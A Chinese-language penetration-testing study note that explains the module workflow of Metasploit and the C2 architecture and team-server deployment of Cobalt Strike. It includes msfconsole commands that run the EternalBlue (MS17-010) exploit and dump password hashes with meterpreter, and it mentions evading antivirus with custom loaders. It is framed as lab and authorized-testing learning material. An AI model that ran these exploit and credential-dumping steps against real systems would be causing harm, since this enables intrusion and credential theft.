MSF 与 Cobalt Strike：框架结构与团队服务部署

MSF 基础和 Cobalt Strike 各写过用法，这篇补框架级理解与部署细节。

0x01 Metasploit：瑞士军鱼的模块思维

MSF 围绕四类模块展开，用 SMB 全流程过一遍：

msf6 > search smb                    # 1. 找模块
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS <目标> ; run       # 2. auxiliary = 信息收集/扫描
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS <目标> ; exploit   # 3. exploit = 利用
meterpreter > getuid ; hashdump      # 4. 后渗透：提权/抓哈希/文件操作

心智模型：auxiliary 摸清目标（版本/补丁/共享）→ exploit 精准打击 → meterpreter 落地收尾；永恒之蓝（ms17-010）Win7 装机即靶。

顺带记牢：发现主机不扫端口是错误姿势（ping 扫 -sn 只是第一步，端口/服务/版本扫描缺一不可）。

0x02 Cobalt Strike：指挥官与干活部门

Client（客户端）= 指挥官：下达指令的可视化界面
Team Server（服务端）= 干活部门：真正执行监听、投递
Beacon（间谍）= 植入目标的代理：不常驻在线，定时回连（sleep 抖动）

Beacon 的定时回连值得单独理解：不是长连接，而是周期性反向连接 Team Server——在线可控、离线静默，也是流量检测（心跳特征）与规避的博弈基础。

部署三步（Ubuntu 服务端 + Windows 客户端）

# 1. Java 环境
java -version || apt install openjdk-11-jdk

# 2. 服务端（拿到授权工具后）
chmod +x teamserver
./teamserver <本机IP> <连接密码>     # 默认端口 50050，启动后核对监听

# 3. 客户端（Windows）
# 连接三要素：服务器 IP + 端口 + 密码，缺一不可

细节：文件先传到 /opt 解压；ls -l 确认执行权限（绿色可执行）；服务端须指定客户端可达的 IP（内网就用内网 IP，别写 127.0.0.1）。

0x03 工具的帽子：被标记的现实

MSF 和 CS 的流量特征早被厂商收录——测试机跑 MSF payload 大概率被 AV 秒杀：

靶场里随便用，原理最重要
授权实战要免杀处理或自研 loader（见内网实战篇”换轻量免杀 loader”的案例）
CS 的可视化界面在团队作战（多人协同、会话管理）上比 MSF 舒服，这是它流行的原因

0x04 扫描器同场加映

系统漏扫（鲨鱼图标那款）：新建任务 → 填目标 IP → 选策略 → 跑报告，逻辑同 AWVS；首次启动慢属正常，报错先查扫描策略。Xray 可做被动扫描入门。